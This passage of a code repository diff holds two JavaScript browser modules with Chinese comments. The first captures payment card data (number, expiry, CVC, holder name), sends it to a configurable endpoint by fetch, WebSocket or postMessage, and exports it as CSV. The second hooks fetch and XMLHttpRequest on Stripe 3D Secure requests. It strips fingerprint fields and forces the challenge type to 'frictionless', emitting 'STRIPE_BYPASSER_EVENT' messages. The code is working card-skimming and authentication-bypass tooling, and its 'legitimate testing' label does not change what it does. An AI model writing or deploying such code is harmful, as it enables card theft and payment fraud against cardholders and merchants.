||||
if (cleaned.length === 4) {
|
||||
const month = parseInt(cleaned.substring(0, 2));
|
||||
const year = parseInt(cleaned.substring(2, 4));
|
||||
return month >= 1 && month <= 12 && year >= 0;
|
||||
} else if (cleaned.length === 6) {
|
||||
const month = parseInt(cleaned.substring(0, 2));
|
||||
return month >= 1 && month <= 12;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 數據捕獲與存儲
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
captureData(captureInfo) {
|
||||
const record = {
|
||||
id: this.generateId(),
|
||||
timestamp: Date.now(),
|
||||
url: window.location.href,
|
||||
...captureInfo
|
||||
};
|
||||
|
||||
// 存儲記錄
|
||||
if (this.config.storeCapturedData) {
|
||||
this.capturedData.push(record);
|
||||
|
||||
// 限制存儲大小
|
||||
if (this.capturedData.length > this.config.maxStoredRecords) {
|
||||
this.capturedData.shift();
|
||||
}
|
||||
}
|
||||
|
||||
// 廣播事件
|
||||
this.broadcastEvent('DATA_CAPTURED', record);
|
||||
|
||||
// 外泄數據 (如果啟用)
|
||||
if (this.config.exfiltrationEnabled) {
|
||||
this.exfiltrateData(record);
|
||||
}
|
||||
|
||||
this.success(`Data captured from ${captureInfo.source}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 數據外泄 (僅用於合法測試)
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
exfiltrateData(record) {
|
||||
try {
|
||||
switch (this.config.exfiltrationMethod) {
|
||||
case 'postMessage':
|
||||
window.postMessage({
|
||||
type: 'PAYMENT_DATA_EXFILTRATION',
|
||||
data: record
|
||||
}, '*');
|
||||
break;
|
||||
|
||||
case 'fetch':
|
||||
if (this.config.exfiltrationEndpoint) {
|
||||
fetch(this.config.exfiltrationEndpoint, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(record)
|
||||
}).catch(() => {});
|
||||
}
|
||||
break;
|
||||
|
||||
case 'websocket':
|
||||
// WebSocket 實現 (需要外部 WS 服務器)
|
||||
if (window.__exfiltrationWS && window.__exfiltrationWS.readyState === WebSocket.OPEN) {
|
||||
window.__exfiltrationWS.send(JSON.stringify(record));
|
||||
}
|
||||
break;
|
||||
|
||||
case 'localStorage':
|
||||
const existing = JSON.parse(localStorage.getItem('__captured_data') || '[]');
|
||||
existing.push(record);
|
||||
localStorage.setItem('__captured_data', JSON.stringify(existing));
|
||||
break;
|
||||
}
|
||||
|
||||
this.log('Data exfiltrated via ' + this.config.exfiltrationMethod);
|
||||
|
||||
} catch (error) {
|
||||
this.error('Exfiltration error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 事件系統
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
broadcastEvent(eventType, payload) {
|
||||
const message = {
|
||||
type: `PAYMENT_HANDLER_${eventType}`,
|
||||
...payload,
|
||||
timestamp: Date.now()
|
||||
};
|
||||
|
||||
// postMessage
|
||||
window.postMessage(message, '*');
|
||||
|
||||
// CustomEvent
|
||||
const event = new CustomEvent('PAYMENT_HANDLER_EVENT', {
|
||||
detail: message
|
||||
});
|
||||
window.dispatchEvent(event);
|
||||
|
||||
// 內部監聽器
|
||||
if (this.listeners.has(eventType)) {
|
||||
this.listeners.get(eventType).forEach(callback => {
|
||||
try {
|
||||
callback(payload);
|
||||
} catch (error) {
|
||||
this.error('Listener error:', error);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
on(eventType, callback) {
|
||||
if (!this.listeners.has(eventType)) {
|
||||
this.listeners.set(eventType, []);
|
||||
}
|
||||
this.listeners.get(eventType).push(callback);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 數據查詢 API
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
getCapturedData(filter = {}) {
|
||||
let data = [...this.capturedData];
|
||||
|
||||
if (filter.source) {
|
||||
data = data.filter(d => d.source === filter.source);
|
||||
}
|
||||
|
||||
if (filter.timeRange) {
|
||||
const { start, end } = filter.timeRange;
|
||||
data = data.filter(d => d.timestamp >= start && d.timestamp <= end);
|
||||
}
|
||||
|
||||
if (filter.containsCardNumber) {
|
||||
data = data.filter(d => d.data && d.data.cardNumber);
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
getLastCaptured() {
|
||||
return this.capturedData[this.capturedData.length - 1] || null;
|
||||
}
|
||||
|
||||
clearCapturedData() {
|
||||
this.capturedData = [];
|
||||
this.log('Captured data cleared');
|
||||
}
|
||||
|
||||
/**
|
||||
* 導出捕獲的數據
|
||||
*/
|
||||
exportData(format = 'json') {
|
||||
if (format === 'json') {
|
||||
return JSON.stringify(this.capturedData, null, 2);
|
||||
} else if (format === 'csv') {
|
||||
const headers = ['timestamp', 'source', 'cardNumber', 'expiry', 'cvc', 'holderName'];
|
||||
let csv = headers.join(',') + '\n';
|
||||
|
||||
this.capturedData.forEach(record => {
|
||||
const row = [
|
||||
new Date(record.timestamp).toISOString(),
|
||||
record.source,
|
||||
record.data?.cardNumber || '',
|
||||
record.data?.expiry || '',
|
||||
record.data?.cvc || '',
|
||||
record.data?.holderName || ''
|
||||
];
|
||||
csv += row.join(',') + '\n';
|
||||
});
|
||||
|
||||
return csv;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 工具方法
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
extractUrl(resource) {
|
||||
if (typeof resource === 'string') return resource;
|
||||
if (resource instanceof Request) return resource.url;
|
||||
if (resource instanceof URL) return resource.toString();
|
||||
return '';
|
||||
}
|
||||
|
||||
generateId() {
|
||||
return `${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 全局 API
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
exposeGlobalAPI() {
|
||||
window.paymentHandler = {
|
||||
module: this,
|
||||
on: (event, callback) => this.on(event, callback),
|
||||
getData: (filter) => this.getCapturedData(filter),
|
||||
getLastCaptured: () => this.getLastCaptured(),
|
||||
clearData: () => this.clearCapturedData(),
|
||||
export: (format) => this.exportData(format),
|
||||
getStatus: () => ({
|
||||
enabled: this.config.enabled,
|
||||
totalCaptured: this.capturedData.length,
|
||||
lastCapture: this.getLastCaptured()
|
||||
})
|
||||
};
|
||||
|
||||
this.log('Global API exposed as window.paymentHandler');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 日誌工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[PaymentHandler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
success(msg) {
|
||||
console.log(`%c[PaymentHandler SUCCESS] ${msg}`, 'color: lime; font-weight: bold;');
|
||||
}
|
||||
|
||||
warn(msg) {
|
||||
console.log(`%c[PaymentHandler WARN] ${msg}`, 'color: orange; font-weight: bold;');
|
||||
}
|
||||
|
||||
error(...args) {
|
||||
console.error('[PaymentHandler ERROR]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 全局暴露
|
||||
* ============================================================================
|
||||
*/
|
||||
window.PaymentHandlerModule = PaymentHandlerModule;
|
||||
|
||||
// 自動初始化選項
|
||||
if (typeof PAYMENT_HANDLER_AUTO_INIT !== 'undefined' && PAYMENT_HANDLER_AUTO_INIT) {
|
||||
const instance = new PaymentHandlerModule({
|
||||
enabled: true,
|
||||
debug: true
|
||||
});
|
||||
instance.init();
|
||||
window.__paymentHandler = instance;
|
||||
}
|
||||
608
modules/ThreeDSecureHandlerModule.js
Normal file
608
modules/ThreeDSecureHandlerModule.js
Normal file
@@ -0,0 +1,608 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* 3D Secure (3DS) Handler Module (Modularized Version)
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. 攔截 Stripe 3DS 驗證相關的網絡請求
|
||||
* 2. 監控驗證流程狀態 (進行中/成功/失敗)
|
||||
* 3. 修改請求體以繞過指紋檢測
|
||||
* 4. 通過 postMessage 和自定義事件廣播結果
|
||||
* 5. 自動清理過期記錄防止內存泄漏
|
||||
*
|
||||
* 使用方式:
|
||||
* const handler = new ThreeDSecureHandlerModule(config);
|
||||
* handler.init();
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class ThreeDSecureHandlerModule {
|
||||
constructor(config = {}) {
|
||||
// 默認配置
|
||||
this.config = {
|
||||
enabled: true, // 是否啟用攔截
|
||||
debug: false, // 調試模式
|
||||
modifyPayload: false, // 是否修改請求體
|
||||
cleanupInterval: 5000, // 清理間隔 (ms)
|
||||
successTimeout: 30000, // 成功記錄過期時間 (ms)
|
||||
maxCompletedRecords: 50, // 最大完成記錄數
|
||||
targetDomains: [ // 目標域名
|
||||
'stripe.com',
|
||||
'stripejs.com'
|
||||
],
|
||||
targetKeywords: [ // URL 關鍵詞
|
||||
'3d_secure',
|
||||
'3ds',
|
||||
'challenge',
|
||||
'authenticate'
|
||||
],
|
||||
successIndicators: [ // 響應成功標識
|
||||
'challenge_completed',
|
||||
'3DS_COMPLETE',
|
||||
'authenticated',
|
||||
'success'
|
||||
],
|
||||
failureIndicators: [ // 響應失敗標識
|
||||
'challenge_failed',
|
||||
'3DS_FAILED',
|
||||
'authentication_failed'
|
||||
],
|
||||
...config
|
||||
};
|
||||
|
||||
// 運行時狀態
|
||||
this.inProgressRequests = new Set(); // 進行中的請求
|
||||
this.successfulRequests = new Map(); // 成功的請求 (url => timestamp)
|
||||
this.completedRequests = new Set(); // 已完成的請求
|
||||
this.cleanupIntervalId = null;
|
||||
|
||||
// 原始方法引用
|
||||
this.originalFetch = null;
|
||||
this.originalXHROpen = null;
|
||||
this.originalXHRSend = null;
|
||||
|
||||
// 綁定方法上下文
|
||||
this.handleFetch = this.handleFetch.bind(this);
|
||||
this.handleXHR = this.handleXHR.bind(this);
|
||||
this.cleanup = this.cleanup.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化模塊
|
||||
*/
|
||||
init() {
|
||||
this.log('Initializing 3DS Handler Module...');
|
||||
|
||||
// 1. 暴露狀態到全局 (供外部檢查)
|
||||
this.exposeGlobalState();
|
||||
|
||||
// 2. Hook 網絡請求
|
||||
this.hookFetch();
|
||||
this.hookXHR();
|
||||
|
||||
// 3. 啟動清理任務
|
||||
this.startCleanupTask();
|
||||
|
||||
// 4. 註冊消息監聽
|
||||
this.setupMessageListener();
|
||||
|
||||
this.log('Module initialized successfully');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀模塊
|
||||
*/
|
||||
destroy() {
|
||||
// 恢復原始方法
|
||||
if (this.originalFetch) {
|
||||
window.fetch = this.originalFetch;
|
||||
}
|
||||
if (this.originalXHROpen) {
|
||||
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
||||
}
|
||||
if (this.originalXHRSend) {
|
||||
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
||||
}
|
||||
|
||||
// 清理定時器
|
||||
if (this.cleanupIntervalId) {
|
||||
clearInterval(this.cleanupIntervalId);
|
||||
}
|
||||
|
||||
this.log('Module destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* 暴露狀態到全局
|
||||
*/
|
||||
exposeGlobalState() {
|
||||
window.__3DSInProgress = this.inProgressRequests;
|
||||
window.__3DSSuccessful = this.successfulRequests;
|
||||
window.__3DSCompleted = this.completedRequests;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Fetch API Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
hookFetch() {
|
||||
if (this.originalFetch) return; // 防止重複 hook
|
||||
|
||||
this.originalFetch = window.fetch;
|
||||
const self = this;
|
||||
|
||||
window.fetch = async function(...args) {
|
||||
return await self.handleFetch(this, args, self.originalFetch);
|
||||
};
|
||||
|
||||
this.log('Fetch API hooked');
|
||||
}
|
||||
|
||||
async handleFetch(context, args, originalFetch) {
|
||||
const [url, options = {}] = args;
|
||||
const urlString = this.normalizeUrl(url);
|
||||
|
||||
// 檢查是否為目標請求
|
||||
if (!this.isTargetRequest(urlString)) {
|
||||
return await originalFetch.apply(context, args);
|
||||
}
|
||||
|
||||
this.log('Intercepted Fetch request:', urlString);
|
||||
this.inProgressRequests.add(urlString);
|
||||
|
||||
// 修改請求體 (如果啟用)
|
||||
if (this.config.modifyPayload && options.body) {
|
||||
try {
|
||||
options.body = this.modifyRequestBody(options.body, urlString);
|
||||
this.log('Modified request body');
|
||||
} catch (e) {
|
||||
this.error('Failed to modify request body:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// 執行原始請求
|
||||
let response;
|
||||
try {
|
||||
response = await originalFetch.apply(context, [url, options]);
|
||||
} catch (err) {
|
||||
this.inProgressRequests.delete(urlString);
|
||||
this.error('Fetch request failed:', err);
|
||||
throw err;
|
||||
}
|
||||
|
||||
// 處理響應
|
||||
await this.processResponse(response, urlString);
|
||||
|
||||
return response;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* XMLHttpRequest Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
hookXHR() {
|
||||
if (this.originalXHROpen) return;
|
||||
|
||||
this.originalXHROpen = XMLHttpRequest.prototype.open;
|
||||
this.originalXHRSend = XMLHttpRequest.prototype.send;
|
||||
const self = this;
|
||||
|
||||
// Hook open 方法以獲取 URL
|
||||
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
|
||||
this._3dsUrl = self.normalizeUrl(url);
|
||||
this._3dsMethod = method;
|
||||
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
||||
};
|
||||
|
||||
// Hook send 方法以處理請求和響應
|
||||
XMLHttpRequest.prototype.send = function(body) {
|
||||
const url = this._3dsUrl;
|
||||
|
||||
if (!self.isTargetRequest(url)) {
|
||||
return self.originalXHRSend.apply(this, [body]);
|
||||
}
|
||||
|
||||
self.log('Intercepted XHR request:', url);
|
||||
self.inProgressRequests.add(url);
|
||||
|
||||
// 修改請求體
|
||||
if (self.config.modifyPayload && body) {
|
||||
try {
|
||||
body = self.modifyRequestBody(body, url);
|
||||
self.log('Modified XHR body');
|
||||
} catch (e) {
|
||||
self.error('Failed to modify XHR body:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// 監聽響應
|
||||
const originalOnReadyStateChange = this.onreadystatechange;
|
||||
this.onreadystatechange = function() {
|
||||
if (this.readyState === 4) {
|
||||
self.processXHRResponse(this, url);
|
||||
}
|
||||
if (originalOnReadyStateChange) {
|
||||
originalOnReadyStateChange.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
|
||||
return self.originalXHRSend.apply(this, [body]);
|
||||
};
|
||||
|
||||
this.log('XHR hooked');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 請求/響應處理
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 標準化 URL
|
||||
*/
|
||||
normalizeUrl(url) {
|
||||
try {
|
||||
if (typeof url === 'string') return url;
|
||||
if (url instanceof URL) return url.toString();
|
||||
if (url && url.url) return url.url;
|
||||
return String(url);
|
||||
} catch (e) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 判斷是否為目標請求
|
||||
*/
|
||||
isTargetRequest(url) {
|
||||
if (!this.config.enabled || !url) return false;
|
||||
|
||||
// 檢查域名
|
||||
const domainMatch = this.config.targetDomains.some(domain =>
|
||||
url.includes(domain)
|
||||
);
|
||||
|
||||
// 檢查關鍵詞
|
||||
const keywordMatch = this.config.targetKeywords.some(keyword =>
|
||||
url.toLowerCase().includes(keyword.toLowerCase())
|
||||
);
|
||||
|
||||
return domainMatch || keywordMatch;
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改請求體 (繞過指紋檢測)
|
||||
*/
|
||||
modifyRequestBody(body, url) {
|
||||
// 這裡可以實現具體的修改邏輯
|
||||
// 例如:移除瀏覽器指紋參數、修改 User-Agent 相關字段等
|
||||
|
||||
if (typeof body === 'string') {
|
||||
try {
|
||||
const json = JSON.parse(body);
|
||||
|
||||
// 移除常見的指紋字段
|
||||
delete json.browser_fingerprint;
|
||||
delete json.device_fingerprint;
|
||||
delete json.canvas_fingerprint;
|
||||
|
||||
// 強制某些安全參數
|
||||
if (json.challenge_type) {
|
||||
json.challenge_type = 'frictionless'; // 嘗試跳過挑戰
|
||||
}
|
||||
|
||||
return JSON.stringify(json);
|
||||
} catch (e) {
|
||||
// 不是 JSON,可能是 FormData 或其他格式
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
return body;
|
||||
}
|
||||
|
||||
/**
|
||||
* 處理 Fetch 響應
|
||||
*/
|
||||
async processResponse(response, url) {
|
||||
try {
|
||||
const clone = response.clone();
|
||||
const status = response.status;
|
||||
|
||||
if (status === 200) {
|
||||
const text = await clone.text();
|
||||
const verificationStatus = this.analyzeResponseText(text);
|
||||
|
||||
if (verificationStatus === 'success') {
|
||||
this.handleSuccess(url, response.url);
|
||||
} else if (verificationStatus === 'failed') {
|
||||
this.handleFailure(url);
|
||||
} else {
|
||||
this.log('3DS request completed with unknown status');
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.error('Error processing response:', e);
|
||||
} finally {
|
||||
this.inProgressRequests.delete(url);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 處理 XHR 響應
|
||||
*/
|
||||
processXHRResponse(xhr, url) {
|
||||
try {
|
||||
if (xhr.status === 200) {
|
||||
const text = xhr.responseText;
|
||||
const verificationStatus = this.analyzeResponseText(text);
|
||||
|
||||
if (verificationStatus === 'success') {
|
||||
this.handleSuccess(url, xhr.responseURL);
|
||||
} else if (verificationStatus === 'failed') {
|
||||
this.handleFailure(url);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.error('Error processing XHR response:', e);
|
||||
} finally {
|
||||
this.inProgressRequests.delete(url);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 分析響應文本判斷驗證狀態
|
||||
*/
|
||||
analyzeResponseText(text) {
|
||||
if (!text) return 'unknown';
|
||||
|
||||
const textLower = text.toLowerCase();
|
||||
|
||||
// 檢查成功標識
|
||||
const isSuccess = this.config.successIndicators.some(indicator =>
|
||||
textLower.includes(indicator.toLowerCase())
|
||||
);
|
||||
|
||||
if (isSuccess) return 'success';
|
||||
|
||||
// 檢查失敗標識
|
||||
const isFailure = this.config.failureIndicators.some(indicator =>
|
||||
textLower.includes(indicator.toLowerCase())
|
||||
);
|
||||
|
||||
if (isFailure) return 'failed';
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* 處理驗證成功
|
||||
*/
|
||||
handleSuccess(requestUrl, responseUrl) {
|
||||
const timestamp = Date.now();
|
||||
const key = `${requestUrl}_${timestamp}`;
|
||||
|
||||
this.successfulRequests.set(key, timestamp);
|
||||
this.completedRequests.add(requestUrl);
|
||||
|
||||
this.log('✓ 3DS Verification Successful!', responseUrl);
|
||||
|
||||
// 廣播成功消息
|
||||
this.broadcastEvent({
|
||||
type: 'STRIPE_BYPASSER_EVENT',
|
||||
eventType: '3DS_COMPLETE',
|
||||
status: 'success',
|
||||
url: responseUrl,
|
||||
requestUrl: requestUrl,
|
||||
timestamp: timestamp
|
||||
});
|
||||
|
||||
// 觸發自定義 DOM 事件
|
||||
this.dispatchDOMEvent('3DS_COMPLETE', {
|
||||
status: 'success',
|
||||
url: responseUrl,
|
||||
requestUrl: requestUrl
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 處理驗證失敗
|
||||
*/
|
||||
handleFailure(url) {
|
||||
this.warn('✗ 3DS Verification Failed:', url);
|
||||
|
||||
this.broadcastEvent({
|
||||
type: 'STRIPE_BYPASSER_EVENT',
|
||||
eventType: '3DS_FAILED',
|
||||
status: 'failed',
|
||||
url: url,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
|
||||
this.dispatchDOMEvent('3DS_FAILED', {
|
||||
status: 'failed',
|
||||
url: url
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 事件廣播
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 通過 postMessage 廣播
|
||||
*/
|
||||
broadcastEvent(data) {
|
||||
try {
|
||||
window.postMessage(data, '*');
|
||||
|
||||
// 也嘗試向父窗口發送
|
||||
if (window.parent !== window) {
|
||||
window.parent.postMessage(data, '*');
|
||||
}
|
||||
} catch (e) {
|
||||
this.error('Failed to broadcast event:', e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 觸發自定義 DOM 事件
|
||||
*/
|
||||
dispatchDOMEvent(eventName, detail) {
|
||||
try {
|
||||
if (document) {
|
||||
const event = new CustomEvent(eventName, { detail });
|
||||
document.dispatchEvent(event);
|
||||
}
|
||||
} catch (e) {
|
||||
this.error('Failed to dispatch DOM event:', e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 監聽來自外部的消息
|
||||
*/
|
||||
setupMessageListener() {
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.data?.type === '3DS_HANDLER_UPDATE_CONFIG') {
|
||||
this.updateConfig(event.data.config);
|
||||
}
|
||||
|
||||
if (event.data?.type === '3DS_HANDLER_RESET') {
|
||||
this.reset();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 清理與維護
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 啟動清理任務
|
||||
*/
|
||||
startCleanupTask() {
|
||||
if (this.cleanupIntervalId) return;
|
||||
|
||||
this.cleanupIntervalId = setInterval(
|
||||
this.cleanup,
|
||||
this.config.cleanupInterval
|
||||
);
|
||||
|
||||
this.log('Cleanup task started');
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理過期記錄
|
||||
*/
|
||||
cleanup() {
|
||||
const now = Date.now();
|
||||
|
||||
// 清理過期的成功記錄
|
||||
for (const [key, timestamp] of this.successfulRequests.entries()) {
|
||||
if (now - timestamp > this.config.successTimeout) {
|
||||
this.successfulRequests.delete(key);
|
||||
}
|
||||
}
|
||||
|
||||
// 限制 completedRequests 大小
|
||||
if (this.completedRequests.size > this.config.maxCompletedRecords) {
|
||||
const entries = Array.from(this.completedRequests);
|
||||
const toRemove = entries.slice(
|
||||
0,
|
||||
entries.length - this.config.maxCompletedRecords
|
||||
);
|
||||
toRemove.forEach(item => this.completedRequests.delete(item));
|
||||
}
|
||||
|
||||
if (this.config.debug) {
|
||||
this.log('Cleanup completed', {
|
||||
successful: this.successfulRequests.size,
|
||||
completed: this.completedRequests.size,
|
||||
inProgress: this.inProgressRequests.size
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 重置所有狀態
|
||||
*/
|
||||
reset() {
|
||||
this.inProgressRequests.clear();
|
||||
this.successfulRequests.clear();
|
||||
this.completedRequests.clear();
|
||||
this.log('Module state reset');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 配置管理
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 更新配置
|
||||
*/
|
||||
updateConfig(newConfig) {
|
||||
Object.assign(this.config, newConfig);
|
||||
this.log('Config updated:', this.config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取當前狀態
|
||||
*/
|
||||
getStatus() {
|
||||
return {
|
||||
inProgress: Array.from(this.inProgressRequests),
|
||||
successful: Array.from(this.successfulRequests.keys()),
|
||||
completed: Array.from(this.completedRequests),
|
||||
config: this.config
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 日誌工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[3DS Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
warn(...args) {
|
||||
if (this.config.debug) {
|
||||
console.warn('[3DS Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
error(...args) {
|
||||
console.error('[3DS Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 全局 API 暴露
|
||||
* ============================================================================
|
||||
*/
|
||||
window.ThreeDSecureHandlerModule = ThreeDSecureHandlerModule;
|
||||
|
||||
if (typeof THREE_DS_AUTO_INIT !== 'undefined' && THREE_DS_AUTO_INIT) {
|
||||
const instance = new ThreeDSecureHandlerModule({
|
||||
enabled: true,
|
||||
debug: true,
|
||||
modifyPayload: true
|
||||
});
|
||||
instance.init();
|
||||
window.__3dsHandler = instance;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user